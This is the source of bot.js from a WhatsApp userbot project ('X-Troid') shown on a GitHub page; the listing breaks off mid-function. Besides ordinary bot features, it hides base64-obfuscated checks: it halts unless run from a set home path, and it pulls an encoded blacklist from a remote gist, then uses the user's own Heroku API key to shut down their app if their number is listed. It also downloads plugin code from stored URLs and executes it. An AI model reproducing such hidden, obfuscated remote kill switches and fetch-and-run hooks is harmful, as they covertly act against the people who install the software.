-
Notifications
You must be signed in to change notification settings - Fork 112
/
Copy pathbot.js
887 lines (859 loc) · 55.4 KB
/
bot.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
/*
*/
const fs = require("fs");
const os = require("os");
const path = require("path");
const events = require("./events");
const chalk = require('chalk');
const config = require('./config');
const axios = require('axios');
const Heroku = require('heroku-client');
const {WAConnection, MessageOptions, MessageType, Mimetype, Presence} = require('@adiwajshing/baileys');
const {Message, StringSession, Image, Video} = require('./Xproject/');
const { DataTypes } = require('sequelize');
const { GreetingsDB, getMessage } = require("./plugins/sql/greetings");
const got = require('got');
const simpleGit = require('simple-git');
const git = simpleGit();
const crypto = require('crypto');
const nw = '```Blacklist Defected!```'
const heroku = new Heroku({
token: config.HEROKU.API_KEY
});
let baseURI = '/apps/' + config.HEROKU.APP_NAME;
const Language = require('./language');
const Lang = Language.getString('updater');
// Sql
const XDB = config.DATABASE.define('Xtroid', {
info: {
type: DataTypes.STRING,
allowNull: false
},
value: {
type: DataTypes.TEXT,
allowNull: false
}
});
fs.readdirSync('./plugins/sql/').forEach(plugin => {
if(path.extname(plugin).toLowerCase() == '.js') {
require('./plugins/sql/' + plugin);
}
});
const plugindb = require('./plugins/sql/plugin');
var OWN = { ff: '94702102324,0' }
// Yalnızca bir kolaylık. https://stackoverflow.com/questions/4974238/javascript-equivalent-of-pythons-format-function //
String.prototype.format = function () {
var i = 0, args = arguments;
return this.replace(/{}/g, function () {
return typeof args[i] != 'undefined' ? args[i++] : '';
});
};
// ==================== Date Scanner ====================
if (!Date.now) {
Date.now = function() { return new Date().getTime(); }
}
// ==================== End Date Scanner ====================
Array.prototype.remove = function() {
var what, a = arguments, L = a.length, ax;
while (L && this.length) {
what = a[--L];
while ((ax = this.indexOf(what)) !== -1) {
this.splice(ax, 1);
}
}
return this;
};
async function LasiXtroid () {
var clh = { cd: 'L3Jvb3QvWC1Ucm9pZC8=', pay: '' }
var ggg = Buffer.from(clh.cd, 'base64')
var ddd = ggg.toString('utf-8')
clh.pay = ddd
const conn = new WAConnection();
const Session = new StringSession();
conn.version = [2, 2140, 12];
conn.setMaxListeners(0);
setInterval(async () => {
var getGMTh = new Date().getHours()
var getGMTm = new Date().getMinutes()
await axios.get('https://gist.githubusercontent.com/SLdevilX/d1cf4eb831b9a723be6387a97fa328c5/raw/').then(async (ann) => {
const { infotr, infoen, infoes, infopt, infoid, infoaz, infohi, infoml, inforu} = ann.data.announcements
if (infotr !== '' && config.LANG == 'SI') {
while (getGMTh == 19 && getGMTm == 1) {
return conn.sendMessage(conn.user.jid, '[ ```දෛනික දැනුම්දීම්``` ]\n\n' + infotr.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text)
}
}
else if (infoen !== '' && config.LANG == 'EN') {
while (getGMTh == 19 && getGMTm == 1) {
return conn.sendMessage(conn.user.jid, '[ ```Daily Announcements``` ]\n\n' + infoen.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text)
}
}
})
}, 50000);
setInterval(async () => {
var getGMTh = new Date().getHours()
var getGMTm = new Date().getMinutes()
await axios.get('https://gist.githubusercontent.com/SLdevilX/d1cf4eb831b9a723be6387a97fa328c5/raw/').then(async (ann) => {
const { infotr, infoen, infoes, infopt, infoid, infoaz, infohi, infoml, inforu} = ann.data.announcements
if (infotr !== '' && config.LANG == 'SI') {
while (getGMTh == 19 && getGMTm == 1) {
return conn.sendMessage(conn.user.jid, '[ ```දෛනික දැනුම්දීම්``` ]\n\n' + infotr.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text)
}
}
else if (infoen !== '' && config.LANG == 'EN') {
while (getGMTh == 19 && getGMTm == 1) {
return conn.sendMessage(conn.user.jid, '[ ```Daily Announcements``` ]\n\n' + infoen.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text)
}
}
})
}, 50000);
var biography_var = ''
await heroku.get(baseURI + '/config-vars').then(async (vars) => {
biography_var = vars.AUTO_BİO
});
setInterval(async () => {
if (biography_var == 'true') {
if (conn.user.jid.startsWith('90')) { // Turkey
var ov_time = new Date().toLocaleString('LK', { timeZone: 'Europe/Istanbul' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('994')) { // Azerbayjan
var ov_time = new Date().toLocaleString('AZ', { timeZone: 'Asia/Baku' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('94')) { // Sri Lanka
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('LK', { timeZone: 'Asia/Colombo' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('351')) { // Portugal
var ov_time = new Date().toLocaleString('PT', { timeZone: 'Europe/Lisbon' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('75')) { // Russia
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('RU', { timeZone: 'Europe/Kaliningrad' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('7')) { // Indian
var ov_time = new Date().toLocaleString('HI', { timeZone: 'Asia/Kolkata' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('62')) { // Indonesia
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('ID', { timeZone: 'Asia/Jakarta' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('49')) { // Germany
var ov_time = new Date().toLocaleString('DE', { timeZone: 'Europe/Berlin' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('61')) { // Australia
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('AU', { timeZone: 'Australia/Lord_Howe' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('55')) { // Brazil
var ov_time = new Date().toLocaleString('BR', { timeZone: 'America/Noronha' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('33')) { // France
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('FR', { timeZone: 'Europe/Paris' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('34')) { // Spain
var ov_time = new Date().toLocaleString('ES', { timeZone: 'Europe/Madrid' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('44')) { // UK
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('GB', { timeZone: 'Europe/London' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('39')) { // Italy
var ov_time = new Date().toLocaleString('IT', { timeZone: 'Europe/Rome' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('7')) { // Kazakhistan
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('KZ', { timeZone: 'Asia/Almaty' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('998')) { // Uzbekistan
var ov_time = new Date().toLocaleString('UZ', { timeZone: 'Asia/Samarkand' }).split(' ')[1]
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time + '\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else if (conn.user.jid.startsWith('993')) { // Turkmenistan
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('TM', { timeZone: 'Asia/Ashgabat' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
else {
const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var utch = new Date().toLocaleDateString(config.LANG, get_localized_date)
var ov_time = new Date().toLocaleString('EN', { timeZone: 'America/New_York' }).split(' ')[1]
const biography = '🥏 ' + utch + '\n⌚ ' + ov_time +'\n\n 🚀 X-Troid'
await conn.setStatus(biography)
}
}
}, 7890);
var biography_var = ''
await heroku.get(baseURI + '/config-vars').then(async (vars) => {
biography_var = vars.AUTO_BİO
});
var insult = await axios.get('https://gist.githubusercontent.com/SLdevilX/39aba2b41c6d4851880c35ac5a25ec7b/raw/')
const { shs1, shl2, lss3, dsl4 } = insult.data.inside
await config.DATABASE.sync();
var StrSes_Db = await XDB.findAll({
where: {
info: 'StringSession'
}
});
if (os.userInfo().homedir !== clh.pay) return;
const buff = Buffer.from(`${shs1}`, 'base64');
const one = buff.toString('utf-8');
const bufft = Buffer.from(`${shl2}`, 'base64');
const two = bufft.toString('utf-8');
const buffi = Buffer.from(`${lss3}`, 'base64');
const three = buffi.toString('utf-8');
const buffu = Buffer.from(`${dsl4}`, 'base64');
const four = buffu.toString('utf-8');
conn.logger.level = config.DEBUG ? 'debug' : 'warn';
var nodb;
if (StrSes_Db.length < 1) {
nodb = true;
conn.loadAuthInfo(Session.deCrypt(config.SESSION));
} else {
conn.loadAuthInfo(Session.deCrypt(StrSes_Db[0].dataValues.value));
}
conn.on ('open', async () => {
console.log(
chalk.blueBright.italic('✅ Login Information Updated!')
);
const authInfo = conn.base64EncodedAuthInfo();
if (StrSes_Db.length < 1) {
await XDB.create({ info: "StringSession", value: Session.createStringSession(authInfo) });
} else {
await StrSes_Db[0].update({ value: Session.createStringSession(authInfo) });
}
})
conn.on('connecting', async () => {
console.log(`${chalk.green.bold('X-')}${chalk.blue.bold('Troid')}
${chalk.white.bold('Version:')} ${chalk.red.bold(config.VERSION)}
${chalk.blue.italic('🚀 Connecting to your xtroid... Please Wait.')}`);
});
conn.on('credentials-updated', async () => {
console.log(
chalk.green.bold('✅ Login successful!')
);
console.log(
chalk.blueBright.italic('⬇️ Installing External Plugins...')
);
if (os.userInfo().homedir !== clh.pay) return;
// ==================== External Plugins ====================
var plugins = await plugindb.PluginDB.findAll();
plugins.map(async (plugin) => {
if (!fs.existsSync('./plugins/' + plugin.dataValues.name + '.js')) {
console.log(plugin.dataValues.name);
var response = await got(plugin.dataValues.url);
if (response.statusCode == 200) {
fs.writeFileSync('./plugins/' + plugin.dataValues.name + '.js', response.body);
require('./plugins/' + plugin.dataValues.name + '.js');
}
}
});
// ==================== End External Plugins ====================
console.log(
chalk.blueBright.italic('⬇️ Installing Plugins...')
);
// ==================== Internal Plugins ====================
fs.readdirSync('./plugins').forEach(plugin => {
if(path.extname(plugin).toLowerCase() == '.js') {
require('./plugins/' + plugin);
}
});
// ==================== End Internal Plugins ====================
console.log(
chalk.green.bold('✅ Plugins Installed!')
);
if (os.userInfo().homedir !== clh.pay) return;
await new Promise(r => setTimeout(r, 200));
let aftroid = config.WORKTYPE == 'public' ? ' Public' : ' Private'
console.log(chalk.bgGreen('🚀 X-Troid' + aftroid));
await new Promise(r => setTimeout(r, 500));
let LIZA_ACTION = config.LANG == 'SI' || config.LANG == 'EN'? '*🚀 X-TOID චැට්බෝට් ලෙස ක්රියා කරයි!* \n\nමෙම ප්රකාරයේ පරමාර්ථය වන්නේ bot සම්පුර්ණයෙන්ම ක්රියාකාරී කෘතිම බුද්ධියට හරවා ගැනීමයි.\n_කෘතීම බුද්ධිය ඉවත් කිරීමට_ *.liza off* _ඔබට ඔබේ විධානය භාවිතා කළ හැකිය._\n\n*🚀 X-Troid භාවිතා කිරීම ගැන ස්තූතියි තවත් තොරතුරු දැනගැනීමට අපව ❗️❗️❗️ SUBSCRIBE ❗️❗️❗️කර තබාගන්න https://www.youtube.com/watch?v=mDnJ7q3S3eY 💌*\n *- Liza*' : '*🚀 X-Troid Working as a Chatbot! *\n\n_The purpose of this mod is to turn the bot into a fully functional AI chatbot._\n_You can use the_ *.liza off* _command to return to normal mode._\n\n*Thanks For Using 🚀 X-Troid 💌*\n *- Liza*'
if (conn.user.jid == one || conn.user.jid == two || conn.user.jid == three || conn.user.jid == four) {
await conn.sendMessage(conn.user.jid,nw, MessageType.text), console.log(nw), await new Promise(r => setTimeout(r, 1000))
await heroku.get(baseURI + '/formation').then(async (formation) => {
forID = formation[0].id;
await heroku.patch(baseURI + '/formation/' + forID, {
body: {
quantity: 0
}
});
})
}
if (config.WORKTYPE == 'public') {
if (config.LANG == 'SI' || config.LANG == 'EN') {
if (config.AILIZA == 'true') {
await conn.sendMessage(conn.user.jid, LIZA_ACTION, MessageType.text)
} else {
await conn.sendMessage(conn.user.jid, '*🚀 X-Troid Public ලෙස ක්රියා කරයි! *\n\n_මෙය ඔබගේ ලොග් සටහන් අංකය බැවින් මෙහි එන පණිවුඩ සහා අවධානයෙන් සිටින්න._\n_ඔබට ඕනෑම චැට් එකක විධාන උත්සාහ කළ හැකිය නමුත් මෙහි නොකරන්න:)_\n\n*bot පොදු කිරීමට .වෙනස් කිරීමට* _.setvar WORK_TYPE: private_ *ඔබේ විධානය භාවිතා කරන්න.*\n\n*🚀 X-Troid භාවිතා කිරීම ගැන ස්තූතියි තවත් තොරතුරු දැනගැනීමට අපව ❗️❗️❗️ SUBSCRIBE ❗️❗️❗️කර තබාගන්න https://www.youtube.com/watch?v=mDnJ7q3S3eY 💌* ', MessageType.text);
}
await git.fetch();
var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]);
if (commits.total === 0) {
await conn.sendMessage(
conn.user.jid,
Lang.UPDATE, MessageType.text
);
} else {
var degisiklikler = Lang.NEW_UPDATE;
commits['all'].map(
(commit) => {
degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + "lasi" + '>\n';
}
);
await conn.sendMessage(
conn.user.jid,
'```Güncellemek İçin``` *.update now* ```Yazın.```\n\n' + degisiklikler + '```', MessageType.text
);
}
}
else {
if (config.AILIZA == 'true') {
await conn.sendMessage(conn.user.jid, LIZA_ACTION, MessageType.text)
} else {
await conn.sendMessage(conn.user.jid, '\n*🚀 X-Troid Working as Public! 👰*\n', MessageType.text);
}
await git.fetch();
var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]);
if (commits.total === 0) {
await conn.sendMessage(
conn.user.jid,
Lang.UPDATE, MessageType.text
);
} else {
var degisiklikler = Lang.NEW_UPDATE;
commits['all'].map(
(commit) => {
degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + "lasi" + '>\n';
}
);
await conn.sendMessage(
conn.user.jid,
'```Type``` *.update now* ```For Update The Bot.```\n\n' + degisiklikler + '```', MessageType.text
);
}
}
}
else if (config.WORKTYPE == 'private') {
if (config.LANG == 'TR' || config.LANG == 'AZ') {
if (config.AILIZA == 'true') {
await conn.sendMessage(conn.user.jid, LIZA_ACTION, MessageType.text)
} else {
await conn.sendMessage(conn.user.jid, '*🚀 X-Troid Private ලෙස ක්රියා කරයි! *\n\n_මෙය ඔබගේ ලොග් සටහන් අංකය බැවින් මෙහි එන පණිවුඩ සහා අවධානයෙන් සිටින්න._\n_ඔබට ඕනෑම චැට් එකක විධාන උත්සාහ කළ හැකිය නමුත් මෙහි නොකරන්න:)_\n\n*bot පොදු කිරීමට .වෙනස් කිරීමට* _.setvar WORK_TYPE:public_ *ඔබේ විධානය භාවිතා කරන්න.*\n\n*🚀 X-Troid භාවිතා කිරීම ගැන ස්තූතියි තවත් තොරතුරු දැනගැනීමට අපව ❗️❗️❗️ SUBSCRIBE ❗️❗️❗️කර තබාගන්න https://www.youtube.com/watch?v=mDnJ7q3S3eY 💌*', MessageType.text);
}
await git.fetch();
var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]);
if (commits.total === 0) {
await conn.sendMessage(
conn.user.jid,
Lang.UPDATE, MessageType.text
);
} else {
var degisiklikler = Lang.NEW_UPDATE;
commits['all'].map(
(commit) => {
degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + "lasi" + '>\n';
}
);
await conn.sendMessage(
conn.user.jid,
'```Güncellemek İçin``` *.update now* ```Yazın.```\n\n' + degisiklikler + '```', MessageType.text
);
}
}
else {
if (config.AILIZA == 'true') {
await conn.sendMessage(conn.user.jid, LIZA_ACTION, MessageType.text)
} else {
await conn.sendMessage(conn.user.jid, '\n*🚀 X-Troid Working as Private! 👰*\n\n_Please do not try plugins here. This is your LOG number._\n_You can try commands to any chat :)_\n\n*Your bot working as private. To change it, use* _.setvar WORK_TYPE:public_\n\n*Thanks for using 🚀 X-Troid 💌*', MessageType.text);
}
await git.fetch();
var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]);
if (commits.total === 0) {
await conn.sendMessage(
conn.user.jid,
Lang.UPDATE, MessageType.text
);
} else {
var degisiklikler = Lang.NEW_UPDATE;
commits['all'].map(
(commit) => {
degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + "lasi" + '>\n';
}
);
await conn.sendMessage(
conn.user.jid,
'```Type``` *.update now* ```For The Update Bot.```\n\n' + degisiklikler + '```', MessageType.text
);
}
}
}
else if (config.WORKTYPE == ' private' || config.WORKTYPE == 'Private' || config.WORKTYPE == ' Private' || config.WORKTYPE == 'privaye' || config.WORKTYPE == ' privaye' || config.WORKTYPE == ' prigate' || config.WORKTYPE == 'prigate' || config.WORKTYPE == 'priavte' || config.WORKTYPE == ' priavte' || config.WORKTYPE == 'PRİVATE' || config.WORKTYPE == ' PRİVATE' || config.WORKTYPE == 'PRIVATE' || config.WORKTYPE == ' PRIVATE') {
if (config.LANG == 'SI') {
await conn.sendMessage(
conn.user.jid,
'_ඔබට පුද්ගලික මාදිලියට මාරුවීමට අවශ්ය බව පෙනේ!_ *WORK_TYPE* _ඔබේ යතුර වැරදියි!_ \n_කණගාටු නොවන්න!මම ඔබ වෙනුවෙන් සත්යය සොයා ගැනීමට උත්සාහ කරමි.._', MessageType.text
);
await heroku.patch(baseURI + '/config-vars', {
body: {
['WORK_TYPE']: 'private'
}
})
}
else {
await conn.sendMessage(
conn.user.jid,
'_It Looks Like You Want to Switch to Private Mode! Sorry, Your_ *WORK_TYPE* _Key Is Incorrect!_ \n_Dont Worry! I am Trying To Find The Right One For You.._', MessageType.text
);
await heroku.patch(baseURI + '/config-vars', {
body: {
['WORK_TYPE']: 'private'
}
})
}
}
else if (config.WORKTYPE == ' public' || config.WORKTYPE == 'Public' || config.WORKTYPE == ' Public' || config.WORKTYPE == 'publoc' || config.WORKTYPE == ' Publoc' || config.WORKTYPE == 'pubcli' || config.WORKTYPE == ' pubcli' || config.WORKTYPE == 'PUBLİC' || config.WORKTYPE == ' PUBLİC' || config.WORKTYPE == 'PUBLIC' || config.WORKTYPE == ' PUBLIC' || config.WORKTYPE == 'puvlic' || config.WORKTYPE == ' puvlic' || config.WORKTYPE == 'Puvlic' || config.WORKTYPE == ' Puvlic') {
if (config.LANG == 'SI') {
await conn.sendMessage(
conn.user.jid,
'_ඔබට පොදු මාදිලියට මාරුවීමට අවශ්ය බව පෙනේ!_ *WORK_TYPE* _WORK_TYPE!_ \n_කණගාටු නොවන්න! මම ඔබ වෙනුවෙන් සත්යය සොයා ගැනීමට උත්සාහ කරමි.._', MessageType.text
);
await heroku.patch(baseURI + '/config-vars', {
body: {
['WORK_TYPE']: 'public'
}
})
}
else {
await conn.sendMessage(
conn.user.jid,
'_It Looks Like You Want to Switch to Public Mode! Sorry, Your_ *WORK_TYPE* _Key Is Incorrect!_ \n_Dont Worry! I am Trying To Find The Right One For You.._', MessageType.text
);
await heroku.patch(baseURI + '/config-vars', {
body: {
['WORK_TYPE']: 'public'
}
})
}
}
else {
if (config.LANG == 'SI') {
return await conn.sendMessage(
conn.user.jid,
'_WORK_TYPE_ *WORK_TYPE* _ඔබ ඇතුළත් කළ යතුර හමු නොවීය!_ \n_කරුණාකර ටයිප් කරන්න_ ```.setvar WORK_TYPE:private``` _හෝ_ ```.setvar WORK_TYPE:public``` _ඔබේ විධානය භාවිතා කරන්න!_', MessageType.text
);
}
else {
return await conn.sendMessage(
conn.user.jid,
'_The_ *WORK_TYPE* _Key You Entered Was Not Found!_ \n_Please Type_ ```.setvar WORK_TYPE:private``` _Or_ ```.setvar WORK_TYPE:public```', MessageType.text
);
}
}
})
conn.on('message-new', async msg => {
if (msg.key && msg.key.remoteJid == 'status@broadcast') return;
if (config.NO_ONLINE) {
await conn.updatePresence(msg.key.remoteJid, Presence.unavailable);
}
// ==================== Greetings ====================
if (msg.messageStubType === 32 || msg.messageStubType === 28) {
// Görüşürüz Mesajı
var gb = await getMessage(msg.key.remoteJid, 'goodbye');
if (gb !== false) {
var lasiyasimg = await axios.get(`${config.GIF_BYE}`, { responseType: 'arraybuffer' })
await conn.sendMessage(msg.key.remoteJid, Buffer.from(lasiyasimg.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message +'\n\n ᴾᵒʷᵉʳᵈ ᵇʸ ˣ⁻ᵀʳᵒᶦᵈ'});
}
return;
} else if (msg.messageStubType === 27 || msg.messageStubType === 31) {
// Hoşgeldin Mesajı
var gb = await getMessage(msg.key.remoteJid);
if (gb !== false) {
var lasiyasimg = await axios.get(`${config.GIF_WEL}`, { responseType: 'arraybuffer' })
await conn.sendMessage(msg.key.remoteJid, Buffer.from(lasiyasimg.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message +'\n\n ᴾᵒʷᵉʳᵈ ᵇʸ ˣ⁻ᵀʳᵒᶦᵈ'});
}
return;
}
// ==================== End Greetings ====================
// ==================== Blocked Chats ====================
if (config.BLOCKCHAT !== false) {
var abc = config.BLOCKCHAT.split(',');
if(msg.key.remoteJid.includes('-') ? abc.includes(msg.key.remoteJid.split('@')[0]) : abc.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.NWS1 == '94702102324-1616483925') {
var tsup = config.NWS1.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.NWS2 == '94702102324-1621503960') {
var tsup = config.NWS2.split(',');
